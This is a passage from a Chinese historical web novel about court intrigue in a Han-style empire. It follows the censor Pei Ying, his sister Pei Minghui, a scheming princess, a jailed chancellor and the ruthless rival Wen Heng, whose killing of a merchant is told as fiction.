裴明绘脑子转得飞快,斟酌着说道,“去丹阳长公主府区拜谒丹阳长公主。” “所为何事。” 她的话音刚落,裴瑛的话便即刻接了上来。 就像是审讯犯人一般,不给犯人丝毫反应的时间。 “为了明月坊西域之行的事,所以才特地去拜谢的。” 裴明绘没有抬头,可落在头顶的裴瑛的目光却有实体一般,叫她的底气消失得无影无踪,说出口的话也愈来愈轻。 “还有呢。” 裴瑛的语调却未曾有任何变化。 “没了。” 裴明绘也意识到自己没了底气,生怕被裴瑛察觉,便壮着胆子大声说了一句。 “真的。” 裴瑛追问。 “真的……” 裴瑛咽了咽口水,中气却很是不足。 “撒谎!” 裴瑛的声音陡然凛冽,他原本从容冷漠的是神情倏然严厉起来,重重拍案而起,青色的宽大袍袖与衣袂也随着他的动作而飞扬起来,掀起带着冷香的阵阵寒风送到裴明绘身边,吓得她利落跪地。 “是,是,哥哥,你别生气,我说……说实话……” 眼见裴瑛又生了气,裴明绘生怕裴瑛真的不理会她,便急忙说道。 “子吟见哥哥近日困难,知晓是郭升等人带头作乱,子吟便想着帮哥哥的忙。可是子吟未得官职,便想着借长公主的手,好好收拾一下郭升,叫他不敢在这么放肆……” “我不是存心欺骗哥哥的……” 裴瑛闻言,动作瞬间顿住,心中所有怒气如水倾漏,转瞬消失得无影无踪。 他的脸色也是从未有过的复杂,似乎千千万万种情绪一并从心头涌了上来,而后翻覆在他的脑海里,最后露在面上,所以大抵是这种面色。 情绪彼此挣扎交锋着,最后却是那股久别的温柔仗着他的支持与偏爱而占了上风,将那些埋怨,愤懑,怀疑与不解诸多异样情绪悉数压了下去。 裴瑛多日以来所有的烦闷瞬间一扫而空,原本因为她撒谎而紧紧攥起的手指缓缓松泛开来。 屋外冷风呼啸吹得正紧,带起檐下铁马叮咚响得正欢。 裴明绘依旧低着头,不敢去看裴瑛的脸色。 可就在她缩着脑袋的等着挨训的时候,一只冰冷手却轻轻放在了她的头上。 她慢慢地抬起头来,大大的眼睛晃动着,像是春水的波澜,澄澈的湖面之上倒映着裴瑛的笑容。 恰如江山寥廓,月朗风清。 许久未见,分外想念。 “好了,你不要再插手这些事了。”裴瑛拉住她的臂膀,将她从地上拉了起来,“这些事,都是为兄的事,与你无干。” “可哥哥……” “你若插手,掌控不好,难免会殃及自身。虽说刘姮在商事之上屡多帮助于你,但这全然是因为着明月坊的金钱利益。但这些金银财货,一旦与庙堂政治上的巨大利益相比,它就变得一文不值,甚至随时都可以舍弃掉。” “此事,太过复杂,牵扯过多,虽有温珩,却又不止只有温珩。只其幕后之人,才是如今长安局面的缔造者。如此人物,焉知精明的刘姮不与他共谋?” 裴明绘越听越心惊,一时之间毛骨悚然。 难道丹阳长公主真的再利用她吗? 还是,丹阳长公主真的与哥哥口中的幕后之人同声相应,故意引导她做那些危险的事,最后倒打一耙,将点燃的火引向她与裴瑛? 有道是,执棋人反为棋子,自以为掌控全局,却又翻覆为棋子,最后成为别人青云路上的垫脚石。 “好了,为兄知道你助我之心,但对为兄来说,你安好才更为重要。”裴瑛看出她的恐惧的不安,便将手放在她的肩头,给与她无声的安慰与底气。 “那……”裴明绘焦急地便要站起来,却又被裴瑛拉住了手,“我得赶紧去阻止……” “你今日所做的事,我都按住了。”裴瑛笑了起来,他漆黑的目光点染着铜灯火苗的温暖色彩,“以后,莫作这些危险事了。” 裴瑛垂眸,握住裴明绘冰凉的手,让她坐在自己身边。 他的体温无声地温暖着她,而他的声音,便是最柔和的春风,温柔得教导着她:“我知你在这商事之上的无师自通,可政事不同。眼睛看见的,往往都不是真的,你以为能掌控的,瞬息之间便会翻覆为浪潮。” 裴瑛很少与她谈这些道理,因为她寻常也不会与参与到波谲云诡的庙堂斗争之中。 裴瑛说的话,她其实也听不太明白。 可是,她很快就会明白了,而这个代价太过沉重太过悲惨,只叫她昔日横波目,哭作流泪泉,百转千回里,伊人不相见。 她一听到尸骨无存四个字之时,裴明绘便不由紧张起来,她急匆匆问道,“那岂不是很危险?” 裴瑛无声地垂眸一笑,指尖在她的掌心写下一行铁画银钩的字迹,温柔地说道:“是啊,极度危险,且一旦进去,凡事便也都不由己了,一步行差踏错,便是尸骨无存。” 裴明绘只道裴瑛往日都是一副风轻云淡的模样,在朝在野之士也多谩骂他是是个毫无感情的酷吏,杀人无数,刀刃几乎都磨顿了。 以往,她以为裴瑛无所不能,便也就没有担心。 身居高位,位列三公,皇帝倚重,门生故吏遍布朝野,如此等等,又会有什么危险? 可如今听裴瑛一说,裴明绘不由很是担心,紧紧攥着他的手:“哥哥,要不我们走罢,不同他们斗了。” 裴瑛闻言,遂扬起头,视线也一并抬了起来,一时之间,烛火大盛光芒艳丽,照亮他无比自信无比俊美的容颜,噙在唇边的笑意是那样的潇洒,似乎眼前所有的困难于他而言斗不过是过往云烟。 一时之间,不可逼视。 “难道,子吟不相信为兄能赢吗?” 第40章 一个是空山新雨俊雅无双,一个是金玉其表狠辣其质。 丞相府前一如既往车马如流, 不管事峨冠广带的公卿士大夫,还是儒冠儒服的太学学子,无一不是满载而来, 恭贺丞相重新得到皇帝陛下的信任,而后三三两两空手而去。 丞相府府令也因此赚得盆满钵满, 腰包里鼓鼓囊囊塞满了作为开门礼的金饼,沉甸甸地坠在腰上,他肥胖的面容之上整日堆着笑,看着当是真心的开心。 就在他亲自送走了一位朝中重臣的车马之时,远远便看见一辆华贵的两匹马拉着的辎车从雪雾中驶来,鸾声阵阵, 顿时让丞相府府令警觉起来, 举手示意各方奴仆都注意。 府令倒也是个眼尖的人物,仔细一看便看看见了辎车之上丹阳长公主府的府徽,登时便如打了鸡血一般激灵起来,急忙招呼派人去通知丞相, 并领着一众侍从侍女亲迎过去。 车轮压过残雪, 稳稳地停在了丞相府府门前。 “见过长公主殿下!” 侍从侍女分列两队, 齐声恭候丹阳长公主驾临丞相府。 随驾在辎车两侧的侍女轻盈地挽起车帷,丹阳长公主刘姮便从车厢里探身而出,便看见如此架势的迎候,唇畔不由勾起一丝满意的笑来, 而后方才在侍女的搀扶下,缓步下了辎车。 “长公主殿下,快快请进。” 府令极其谨慎地对待这位尊贵而又高傲的公主, 生怕有一处不合礼仪之处惹恼了她而招来祸事。 就在丹阳长公主的绣履刚刚踩在地上的时候,丞相陆珩舟便也匆匆而来, 他乐呵呵地迎了过来:“真是稀客啊,殿下怎么来了。” 丹阳长公主笑了起来:“舅舅这般客气,倒叫我不自在呢。” “是我的过失,这礼仪太过周全,却也疏离了情分。来来来,府里去,看这雪下得更重了些。”陆珩舟无比殷勤地邀丹阳长公主进府。 二人一路走过庭院,往正厅而去,正厅里燎炉生得正旺,各种被金银漆器盛托着的青绿植物也尽情得舒展着自己的腰身,逸散着清润的香气。 “殿下近来可好。”陆珩舟亲自扶着丹阳长公主落座,“听说宫中的李夫人新诞下了一位皇子,陛下很是高兴,这可是长公主的功劳啊。” 丹阳长公主朱唇勾起,长眉挑起:“也是李荣儿的本事,本公主也只是做个顺水推舟的人情罢了。若她自己不争气,就算本公主有通天的本事,也是无可奈何的。如今陛下又添子嗣,本公主这个做姐姐也是为他高兴,早在李荣儿临产之际就备好了大礼,只待麟儿降生,便送进宫去。” 倏然之间,丹阳长公主似是想到了什么不愉快的事,原本一团春风的脸色一下子就阴沉下来,涂着朱红色唇勾起不屑的弧度:“这件事上,本公主虽是好意,难保皇后不会吹耳边风,将本公主的这番情谊又混淆了。” “陛下与殿下姐弟情深,殿下的心意,陛下自然明白。”陆珩舟自然知晓丹阳长公主与谢皇后之间的一些龌龊之事,前几年长公主嘱托谢皇后为自己的独子封爵,却被谢皇后婉言拒绝,因此丹阳长公主也就记恨上了谢皇后。 陆珩舟觉得,谢皇后乃是丹阳长公主府的舞女,仰赖长公主的提拔才能至此高位,区区爵位罢了,在如此大的恩情前面,又如何能够推辞呢。 “皇后小性,殿下宽仁慈厚,何必与她计较呢。” “她的儿子当了太子,便以为自此高枕无忧了。”丹阳长公主将手中茶盏重重撂在案几之上,凤眸凝火,长眉扬起:“可陛下的子嗣那么多,又不只她的一个儿子。哼,光温夫人,虞夫人,李夫人,她们的儿子哪个又比太子差。本公主看,皇后也高兴得太早了些!” 陆珩舟忙道,“如今些谢大将军出征漠北,也是攻无不克战无不胜,皇后难免自傲些,对待公主自然不比以前恭谨了。” “她的弟弟是出征漠北的将军,我的弟弟是统领天下的皇帝,她又傲气什么。” 丹阳长公主对谢皇后的不满已然积压许久,送李夫人进宫,便是为了夺走皇帝对谢皇后的宠爱。 “罢了罢了,且说正事。”长公主压下愤懑,饮下一口温热的兰陵茶来舒缓了一下喉咙的酸涩,她于氤氲的热气里抬起眼睫,微笑着看向陆珩舟,“温珩那件事,舅舅打算怎么处理。” “殿下……” 陆珩舟愣了一瞬,而后笑了起来,只这笑里有着几分勉强。 “这温珩的事,我也不大清楚啊。” “舅舅别装傻了,侄女都知道了。” 丹阳长公主站了起来,亲自走到陆珩舟的长案之上,芊芊素手捧起吉金色青铜酒壶来,为他斟上满满一爵酒,金色的酒液堪堪停在酒爵的边沿处。 “年幼时,舅舅不是常跟侄女说,水满则溢月盈则亏的道理么。这福气啊还是别盛在一爵里,分开,才保险,不是吗。” 丹阳长公主看见陆珩舟一脸为难的样子,便又微笑道,“我知道舅舅还是为着以前我帮裴氏的事情恼我,但裴氏终究是外人,我与舅舅才是血脉连接的亲人。” “舅舅是列侯,是丞相,如今又受陛下器重,是解决朝中难题的大功臣,是朝中红的发紫的人物。更何况,舅舅又施以仁政,用礼法道德怀柔世人,这叫什么,这叫德服四海,以德化民,德息兵祸,不费一兵一卒,于无形之中以大德昭明汉室德行,正是陛下所期望的啊。” “如此高深的德行,与裴瑛之严刑酷法便是天壤之别,这朝中何人不服膺舅舅,陛下如何又如何不倚重舅舅呢。” “裴瑛被陛下斥责,一般酷吏御史也跟着下了台,不少人弃暗投明都来,一扫朝中往日阴霾。如今这庙堂里头,就算是谢大将军大司马,也比不了舅舅呢。” 这番阿谀奉承,陆珩舟心里很是受用,可他也清楚丹阳长公主想要分一杯羹的心思,也知道拒绝她的后果,但转念一想,丹阳长公主是皇帝的姐姐,对陛下有着不可小觑的影响,若是拉上丹阳长公主,他在朝中定会多少一份助力,这胜算也就多上一分。 权衡利弊之后,陆珩舟的心思便也通达,笑呵呵地将爵中酒一分为二。 “殿下的意思,我懂了。有了殿下的襄助,我等之事业当是一帆风顺。” 闻言,丹阳长公主遂喜笑颜开,亲切地捧起酒爵来:“有了舅舅的话,侄女的这颗心,也就放在肚子里面了。这爵酒,我便敬舅舅了。” 就在他们各自怀着心思开心的时候,隐藏在风波之后更大的风波已然悄然到来。 关于几日前东市的躁动间接直接裴瑛被皇帝斥责,但是裴瑛不在朝中之后,之后事宜便悉数交由丞相处置,皇帝急切期待着丞相能够解决问题,并屡次催促。 可是丞相开始上交上一些大商的财货之外,之后上交的财货也就越来越少,与当初陆珩舟向皇帝保证的天下大商闻皇帝高德仁义而自行算缗的场景大相径庭。 皇帝的忍耐力随着前线催促粮饷的文书而逐渐减少着,陆珩舟也敏锐地察觉到了皇帝的不悦,焦急地去寻找长安大商,要求他们作好天下的榜样,先行算缗,以济国家之急。 可以郭升为首的长安大商们岂能愿意,原先他们归附陆珩舟,不过就是愿意献上一些资财来保全大多数的财产,可如今陆珩舟却叫他们算自己家财之缗,这不是自己割自己的血肉吗。 裴府依旧安静,除了必要的人事来往,往昔那些殷勤来往的人都销声匿迹,只有雪粒翻飞在府门前,幽幽飘进府门之内。 雪亮的天光透过窗布,透过低垂的纱帐,与柔软的火焰光芒一并照亮裴瑛的俊雅而又分明的眉目,他的身上盖着着白色的毯子,如玉般细腻温柔的手捧着一卷略微陈旧斑驳的古籍,往日深邃幽远的目光流转的是一目了然的闲适。 红泥小火炉,茶香自氤氲。 “哥哥……” 人还未进屋,声音便已先行到了耳边。 裴瑛原本静心看着书,闻声却也放下了书简,抬眸看过去,便见白纱飘飘如雾游移,隐隐绰绰间,裴明绘的身影边已轻盈灵动飘然而至。 “哥哥,你说得果然没错,丞相果然没压住他们,如今他们已经乱起来了。” 裴明绘气喘吁吁,面上出浮现的惊喜之色,秀丽动人的眉毛也有振翅飞扬的风采,她兴致勃勃地说着自己的所见所闻。 “听说,丞相动用了羽林卫强行算缗,大商都拿着往日丞相所说的不动刀兵以德服人的来反抗朝廷核查家产,这次的冲突比以往的几次都要激烈,听说两方都死了人呢。丞相也算是搬起石头砸了自己的脚。” “先喝杯茶暖暖身子。” 裴瑛不慌不忙地用陶杯接上一杯热气腾腾的暖茶,递给裴明绘。 裴明绘从裴瑛手中接过茶盏来,“我又听说丹阳长公主前不久才去了丞相府,与丞相好一番长谈,结果今日丞相府派去拜谒的人就被公主府的府令挡在了外头。” “熙熙攘攘皆为利来,刘姮此番行径,本不足称道。”裴瑛笑了笑,不紧不慢地开口,“科她偏偏身居高位,却左右游移,这种人,终不得长久。” 就算是皇亲贵胄公子王孙,也概莫能外。 * 此次大规模的暴动,彻底惊动了皇帝,当日,皇帝便派了郎中令请了丞相进宫,然后便将丞相下狱,由廷尉沈蓦审理承办。 表面上,皇帝是因为丞相办事不力才将丞相下狱,但是据廷尉沈蓦传过来的消息,却是七年前的丞相偷挪堵塞黄河三百四十四万金的事情为皇帝所知晓。 皇帝大怒,遂不顾皇太后之意,强行将丞相下狱,虽看在皇太后的面上未明着查抄他的府邸,但是丞相府府邸大批不可告人的文书也被廷尉稽查,而后送上了帝案。 因着这批文书,方才与丞相结为同盟的丹阳长公主也受了牵连,几次请见陛下而不得,甚至连长乐宫的宫门都进不去了,终日担惊受怕寝食难安,几日之后便也长卧病榻了。 * 冬天的最后一场雪降临了,冬天已经到了尾声,可对于他们而言,那永无止境的寒冬才刚刚降临。 起先便是一场飘扬的细小的雪花纷纷扬扬落下,落在连绵的裴府屋檐之上。 裴明绘见裴瑛难得休息在家,又因二人诸多不愉快也逐渐消磨尽了,便也日日侍奉在他案前,以叙兄妹相亲相爱之乐。 与他相处的日子里,裴明绘的心却是最安定的时候,没有那些乱七八糟的伤神的事,也不会有那些患得患失的情感,几乎每一次笑都是发自内心的,像是蜂巢里流出的蜜一样甜。 可这样的日子才过了不过七八日,随着外面的动荡一波接着一波来,一波高过一波,裴府的空落已久的车马场也日渐充盈起来。 可来来往往的官袍客人看起来并没有让裴瑛有丝毫的开心,他负手走在后院之中,梅花依旧开得很艳丽,落在他深邃的黑眸里,先是一簇簇盛大的火焰一般。 他在想什么呢,大概是在思索朝中的局势罢。 裴明绘躲在扶疏红梅之后,静静地看着裴瑛。 不知过了多久,他黑色的大氅的绒毛以及他浓密纤长的睫羽之上都落满了晶莹的雪花,像是黑色的松枝上凝结了晶莹剔透的冰凌一般。他吐出的雾气消融了雪粒,点点滴滴地水珠落下,他方才从入神的思索之中回过神来,目光稍稍偏移,便看见了躲在树后看着他的裴明绘,便向她招了招手,裴明绘便也就走了过去。 “哥哥。” 裴明绘乖乖地站在裴瑛身边,仰头看向他。 “子吟。”裴瑛顿了顿,“今日今时之朝局发展为兄虽已然预料到,但是君臣已不同心,今时业已不同往日,为兄觉得,你当先行秘密回河东去,安全方面,为兄自会派遣一应守卫护你周全。” “哥哥,你不走,我也不走。” 裴明绘不明白裴瑛为什么突然让她回河东去,但是长安定然又有一场血雨腥风行将到来了,可是越是这般紧急的时候,她又能只顾自己的安危,而独让哥哥置于险境之中。 虽然,她也不知道自己能做些什么,好像什么都做不了。 可若让她自己一个人走,那是万万不能的。 可就在裴瑛正欲再说什么的时候,府令苏央匆匆而来,打断了裴瑛的话。 此日正午,朗中令捧着皇帝手书而来,一时裴府人马肃穆,纷纷伫立在第一进的庭院之处,在漫天细雪中跪迎皇帝之命。 郎中令李贺文一身甲胄立在庭院正中,他的眉目紧缩着,自此可以瞥见宫禁之中陛下的雷霆之怒了。 “皇帝特命御史大夫裴瑛,长安大商裴明绘入宫觐见。” 裴瑛讶然地直起了身子,他的肩上落了满了晶莹的雪花,皇帝的诏命依旧简明扼要,对于前一条他尚且明白并且在意料之中,掐准了在丞相下狱之后的翌日便会宣召他进宫面见陛下,可是后一条他却蹙起了眉来。 他本就是朝廷官员,皇帝召见理所应当,可裴明绘却并非官身,虽为长安大商兼皇商,却在一众大商中并不出挑,就算曾经捐献家财以济国家之急,陛下也布告天下,尊其德行以风百姓,可是据此业已过了许久了。 而今时局,陛下已然打算对大商开刀,以他对陛下的了解,此时的他当是没有闲情逸致再弘扬什么捐家产献家财共度国家危机的美好品德了。 可是皇命在前,裴瑛也绝无拒绝之理。 裴明绘也很是震惊,但听到这个消息之时,险些直接站起来她却在临了还是沉下气来,安生地跪着,静待裴瑛与郎中令的斡旋。 “臣裴瑛接旨。” 裴瑛收敛外露的情绪,站起来从郎中令书中接过手书,疑声问道。 “敢问郎中令,臣妹并未官身,又无治国理政之才,为何要一同进宫。” “这都是陛下的意思,裴大人也就别多问了。等面见了陛下,一切也都明白了。” 郎中令道。 裴瑛顿时心惊,却也不动声色间继续问道:“陛下近来可好,长安正逢多事之秋,我为臣子不能在朝中尽职,也实在是担忧陛下啊。” 郎中令叹了口气摇了摇头,后沉声道:“裴大人还是速速进宫去罢,陛下的心情很是不好。” 裴瑛顿时了然,等到郎中令离开之后却也依旧没有动身,肩上的雪都积了一层,裴明绘见状,便替他拂去了肩上的雪,仰头看去,就见他长眉紧锁,无声间流动着躁动的戾气。 召裴明绘进宫面圣,怎会是皇帝的意思。 皇帝日理万机决天下要事,怕是连裴明绘是谁都不曾记得,如何会让她进宫面圣。 定然在皇帝身边的那几个谋臣与幕后之人的撺掇,而此举恰恰证明了皇帝已然不再全然信任于他,或者说,他已经寻到了一把更为锋利的刀。 可是,焉知那把刀来日会不会成为刺向他的利刃呢。 裴瑛无暇再想这些事,当务之急,当以进宫为上,故此裴氏兄妹二人便也不曾耽搁,整肃衣冠之后便也登上了前往未央宫的辎车。 风雪不歇,铅灰色的层云重重地压在天际,往日气派辉煌的殿宇楼阁都淹没在一片的白色海洋之中,连接宫室的复道回廊在白茫茫的风雪之间也变得若隐若现。 巨大的白玉广场的尽头自三十六级长阶,直达未央宫前殿。 若站立丹墀之上,便可见未央宫的清一色的红衣黑甲青铜斧钺,自殿门始,下三十六阶长阶,树立在广场之上,一直蔓延到宫室的尽头,雪落满身,每一个人却如同铜树铁柱一般一动也不动,护卫者宫室的安危,其凛凛威势由此可见。 高阔各有两丈许的正殿正门打开,红毡自此往,便到了宏阔庄严的大殿深处,裴明绘第一次踏上庙堂之所,心中不免紧张,而后步调就有些杂乱。 裴瑛微微偏头,目光便落在她的面上,低声道,“莫怕,为兄在呢。” 这是裴明绘第二次见到九五之尊的皇帝,灯火煌煌辉映满殿,他便负手背对着他们站在丹墀之上,帝案之后,沉稳的玄金色袍服在宫灯的照耀之上游动着金色的光芒。 “臣裴瑛,叩见皇帝陛下。” “民女裴明绘,叩见皇帝陛下。” 皇帝正负手背对着他们,闻声方才缓缓转过身来,一抬手,是虽无波澜起伏却到足以震慑全场的声音:“平身罢。” 二人方才起身,裴明绘这才谨慎地抬起眼帘来,一寸一寸向上挪移着视线,越过铺着红毡的帝阶,玄金色的朝服,便停在了大汉天子的脸上,便为那眉宇之间的威严所震慑。 长眉如漆,凤眸深深,千斛丹墨绘就容颜,只这一抬眼的功夫,便让裴明绘真正地体会了上位者的威压。 不怒自威间,决天下之大事。 喜怒无常里,行杀伐生死权。 他与丹阳长公主眉眼很是相似,却又不同。 “裴卿,朕今日召尔等前来,便是为商榷长安大商暴乱一事。” 皇帝开门见山,他显然已经很是烦躁了,对于丞相留下的这堆烂摊子,他一刻也不想再拖延,急切地想要将其解决掉。 “今日看来,裴卿当日之言,却是良法。丞相之法,实在是糊涂得不行,若不是因他是朕的舅舅,焉有活命的道理。” 他喟叹道,诉说着自己不能诛杀自己的舅舅的遗憾。 “陛下息怒。” 裴瑛拱手躬身,安抚皇帝的情绪。 “长安今日境况虽乱,却也并不是无可解决,依臣之法,只要抓住为首之人,同时对附和之人加之治疗之法,便可平息动乱。” “今日召裴卿妹妹前来,便是感念裴卿妹妹为长安的大商皇商,精通商事,又乐善好施,多次力佐国家之急,朕今想裴卿妹妹当时精通商事,便也可襄助裴卿解决商事之上的一些麻烦事。毕竟商人一贯精明,但若以商治商,定会省去很大的麻烦。裴卿不会怪朕让裴卿的妹妹辛劳罢。” 皇帝笑了起来。 “臣与臣妹皆为陛下的臣子,为陛下效力乃是臣等荣幸。” 裴瑛极不愿意让裴明绘牵扯到政事上来,兼此事是个极其得罪人的事,一不小心就会踏入万劫不复之地。但这是皇帝的诏命,他也只得另寻他法,让裴明绘脱身于此了。 就在裴瑛裴明绘兄妹二人领命之后,就听皇帝话音又起,在宽阔的殿堂激起巨大的波澜:“朕知此事之艰难,特为裴卿寻了助手。” 他的话音刚落,黄门的尖锐声音极为突兀的插了进来:“宣温珩觐见——” 风雪呼啸而来,烛火晃动不息,空气也开始萦绕起焦灼而危险的气息,隐约间风声似乎游动着凛冽肃杀的剑鸣弦响。 沉稳的脚步声由远及近,缀着精铁甲叶的长靴稳稳踩过铺地红毡,雪落满肩的红色官袍随着他的脚步而摇曳。 裴瑛的目光倏然凌厉,他偏过头来,穿过漫长的甬道,投向了那缓步而来的人。 玉带银钩,锦绣红衣,绣衣使者,温氏温珩。 裴明绘一听通报,瞬间面色煞白心跳如鼓,听着逐渐逼近的脚步声,而后便是撩起衣袍的簌簌声,清润优雅的嗓音传入她的耳中,瞬间警铃大作。 “微臣温珩,叩见皇帝陛下,皇帝陛下万岁万岁万万岁!” “许久不见,温卿愈发沉稳了。”皇帝笑了起来,他显然很高兴见到久别的温珩,“想必西南之行,收获颇丰罢。” 温珩缓缓抬起头来,绯袍金冠,丹凤眸上氤氲一抹艳丽的晚霞红色,若细细辨去,便像极了一滴鲜血稀释在清水里的颜色,然后淡而无踪。 “微臣此行,虽多有波折,却也有颇为进益。”温珩的话尾微微上扬,“微臣昔日得陛下赏识,故虽做苦力却也不敢忘陛下之恩,今以戴罪之身得陛下传召,当殚精竭虑以报陛下之恩。” 裴瑛的眸中似乎隐匿着滔天风雪,唇畔的笑意也压制不住,他的目光投向温珩,正好温珩的余光也侧了过来,视线撞在一处,隐有金铁嗡鸣之声。 裴瑛不动声色地往前走了一步,将身侧的裴明绘挡了个严实。 “臣定与御史大夫,裴小姐协力同行,共除国害。” 他欢悦动听的声音似乎隐匿着无穷无尽的危险,直到离开未央宫前殿的时候,裴明绘的脑中一片空白。 这是她自二人分别之后的第一次见面,她全然没有想到温珩以戴罪之身竟然还可以得以面见陛下,竟还得到陛下的器重,并委以绣衣使者之职,为裴瑛之副手。 难道陛下不知道温珩因为裴瑛才去西南服刑的吗? 可是既然如此,陛下又为何偏偏要势若水火行若参商的二人共事呢? 殿外风雪愈盛,裴瑛先行执伞将裴明绘送到了车马场,仔细吩咐驭手将她送回裴府。 “哥哥。” 裴明绘又从一侧的车窗探出头来,用手挡住前头的风雪,看着裴瑛,关切地说道,“哥哥,万事小心。” 裴瑛微笑颔首,示意她不必担心,他目送车马辚辚而去,一直消失在了白茫茫的风雪里,方才转身,直奔御史大夫官署。 可相比于温珩的出现,还有更要紧的事,重重打击了裴明绘,几乎叫她的心神全部紊乱。 裴明绘甫一坐回车上,便一下子瘫坐在辎车之中,胸腔里的心脏扑通扑通直跳,几乎要从喉咙里跳出来,过速心跳让全身的血液都在上下冲击着,她捂住心口,不可置信地回想着大殿之上温珩的模样。 狭长的眉眼,优雅的薄唇,高挺的鼻梁,以及圆润的鼻尖,无一处不完美,若是单单看来,简直与裴瑛何其相似,可是这几近完美的五官组合起来,却与裴瑛的模样可谓差之远矣! 一个是空山新雨俊雅无双,一个是金玉其表狠辣其质。 裴明绘这才真正的慌乱起来,她这才想起来那夜为何自己手上会有脂粉,原来温珩是故意画成裴瑛的模样,他是故意的! 40-50 第41章 离她远些,否则我不介意用你的手段来对付你。 漫天风雪飘荡, 地上雪沫飞扬,黑色的靴尖将地上的那一瓣香正浓的梅花碾作红泥,温珩抬起头来, 勾起一丝恶劣的笑来,看着跪了满地的郭府众人, 不由笑得更加灿烂。 “温珩,你言而无信!” 郭升身负枷锁一身狼狈,满口是血控诉着温珩。 “你不是说只要有你在,你不会叫我们出事的吗!” 温珩抱臂而立,下颌不解地扬起了下来,凤眸闪过一丝狡黠, “我好像, 并没有这么说过罢?” “什么!”郭升立即僵在了原地,隔着洁白无垢的雪花,看向红衣绣袍的少年,片刻之后, 恍然大悟, 而后立即大怒起来, “是你,是你说让我们抗命的,是你。” 若非有人暗中指挥,以他们的胆子, 怕是这辈子都想不到用暴力的形式来反抗朝廷命令的方式。 毕竟有国舅丞相领头,加之民意涛涛大有不可违逆之事,更有道事法不责众, 参与此事之人大多都是汉朝商业巨擘,如何能一体责杀呢? 除非皇帝真的不想要汉朝的商业了。 但他们显然没有意识到, 因为漠北决战而引发的财政问题已经急迫到了无可转圜的地步,对此,很多事都可以为此让步。 同时,如今的皇帝可不是会为外戚所牵制的人物。 而代表皇帝意志的鹰犬酷吏在处理这些被定性为乱臣贼子的人,可丝毫不会手软。 或许皇帝在时,他们尚会披着仁义道德的皮囊而有所收敛,但现在皇帝不在,他们自然就可以为所欲为了。 “有证据吗?” 温珩倏然站住,目光放在了郭升身上,看着他,原本温柔中带着一丝妩媚的声音却在呼啸的风雪中形成一股无形的气压。 “等我们告到御前,温珩你就死定了!” 看到温珩骤然变化的脸色,郭升如同抓住了救命稻草一般兴奋起来,他欣喜若狂地挣扎着,枷锁却被站立在两侧的羽林卫摁住,动弹不得。 “你若识相,便当放了我们!否则,你就等着被族灭罢!” “哦,告到陛下面前。”温珩垂头,低低笑了起来,而后长眉一挑,便抬起了眼帘,黑色的瞳仁冷光一闪,还未等郭升还大笑着的头颅便被狠狠踩在了雪里,半颗脑袋都没了进去。 “你以为你还有机会?” “原本想让你们好走的。”温珩垂下了头,纤长的眼睫上承托了雪花,他本就生得好看,居高临下看去,一身红衣便是更显得他更加年幼无辜而又恶毒,“毕竟,你们不是送了我一好大政绩。否则,我也不会这么快得到陛下的赏识,重新回到朝廷。” 他的靴尖在郭升的太阳穴狠狠碾着,登时郭升疼得面目都扭曲了,眼睛血丝充盈,几乎都要暴突出来。 可踩着他的温珩却依旧是一副无辜稚子的模样。 “偏偏有人这么不识抬举。” 手起刀落,鲜血横飞,落在皑皑白雪上,仿佛朵朵绽开的红梅,有一些落在他白皙的面上,像是红透了的胭脂,绮丽柔靡。 他用手背擦去面上的鲜血,颇有嫌恶地就着梅枝上的新雪擦了擦手,而后目光扫过身负枷锁跪着的郭家众人,清点数目确定无错之后,方才负手离开。 一路走去,剑戟森寒黑甲林立,寒风卷着雪沫呼啸而过,温珩缓步走出郭府的大门,迎面而来便是撑伞而来的裴瑛。 黑色大氅,黛青深衣,宽袖凌风,渺然若仙人。 “裴大人,下官这厢有礼了。” 温珩一笑,拱手行礼,彬彬有礼,任谁也想不到这幅乖巧的皮囊之下是如何狠毒的心。 青色的伞面缓缓抬起,浸润霜寒的漆黑眼眸是一瞬间的风起云涌,可很快,裴瑛垂下眼眸,也笑了起来,“绣衣使者好大的威风,我何敢受你的礼。” 温珩也不恼,很是乖顺,道,“大人与下官皆是为陛下做事,所秉之皆为陛下之权威。下官初当要职,行事恐有偏颇之处,然当此之时,德政不能救世溷乱,赏罚岂足惩时清浊,非常之时当行非常之法不当之处,还请大人指正。” 裴瑛看着温珩,这个不过二十余岁的年轻人,话语间圆滑又不失锋芒,看上去人畜无害,却心思狠毒,他虽然有着将其千刀万剐之心,却也不得不忍耐着等待时机:“绣衣使者为陛下行事,我何敢指正什么。但我与绣衣使者同在庙堂,却还想奉劝使者一句,虽万方情伪佞谄日炽,然刚克正色尚未消亡,如此堂而皇之杀人灭口,未免太过放肆了些。” 他的语气平和,乍听并无谴责之意,可听在温珩耳中,却分外刺耳,他终是忍不住笑了起来,疑惑地说道,“大人这番话,真叫下官憬悟,下官以后,当效大人之行,还请大人拭目以待。” 裴瑛与他擦肩而过,余光越过风雪,正正落在温珩的身上,夹杂着风雪的寒意的声音落在温珩耳中。 “离裴明绘远些。”他收回目光,语气肃杀,闻之,令人顿生彻骨之寒,“否则我不介意用你的手段来对付你。” “下官等着,恭候御史大夫指教。” 温珩丝毫没有害怕的意思,他的笑意渐渐敛了起来,却又再一抬眸的瞬间,薄薄的唇角扬起了恶劣到几近诡异的笑,他的声音带着关切的疑惑,“只是如今杀了我,皇帝陛下那边,御史大夫你不好交差罢。” 裴瑛的脚步倏然定住,他缓缓回头,看着温珩的模样,也笑了起来,只是这笑容很轻蔑,似乎并没有将温珩放在眼里,“本官风闻,令尊的身体不太好,冬春之交革故鼎新,绣衣使者千万别因为总是操心别人的家事而忘了自己还有一位年高的父亲。” 话毕,温珩的笑容瞬间僵住了,他无比憎恨地阴狠地看着裴印,一口银牙几乎要咬碎。 “毕竟大汉以孝治国,绣衣使者方到朝廷当值,不知道此事,想必也情有可原。” 裴瑛与他擦身而过,带起一阵冷冽肃杀的风雪。 裴瑛裴瑛,我看你且有几时得意。 温珩冷哼一声,靴尖一踩马镫,利落翻身上马,就在扬鞭之时,心中恶意翻涌,美眸轻移,恰与裴瑛的视线再度撞在一起。 隔着一帘风雪,他的眼神依旧幽深,杀意敛尽之后便只剩下冷漠,像是高不可攀的冰雪山巅,自上而下俯视着云云苍生。 温珩厌恶极了这种傲慢,他不明白,已然被先帝族灭而侥幸独活裴瑛,从何而来的这种的傲慢。 无家族支持孑然一身的裴瑛,又凭什么位列三公居此高位? 早晚有一天,他要将裴瑛拉下来,到时候,他且看他又有几分傲气在。 